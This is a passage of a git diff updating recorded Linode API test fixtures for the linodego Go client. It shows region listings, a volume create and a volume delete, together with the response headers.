1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:08 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,9 +289,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -118,7 +313,7 @@ interactions: url: https://api.linode.com/v4beta/volumes method: POST response: - body: '{"id": 566464, "status": "creating", "label": "go-vol-test-create", "created": + body: '{"id": 4210920, "status": "creating", "label": "go-vol-test-create", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-create", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -135,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "323" + - "324" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:08 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -156,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "100" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -174,7 +376,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566464 + url: https://api.linode.com/v4beta/volumes/4210920 method: DELETE response: body: '{}' @@ -190,15 +392,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -211,9 +417,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_Get.yaml b/test/integration/fixtures/TestVolume_Get.yaml index 854773285..32db2798c 100644 --- a/test/integration/fixtures/TestVolume_Get.yaml +++ b/test/integration/fixtures/TestVolume_Get.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - 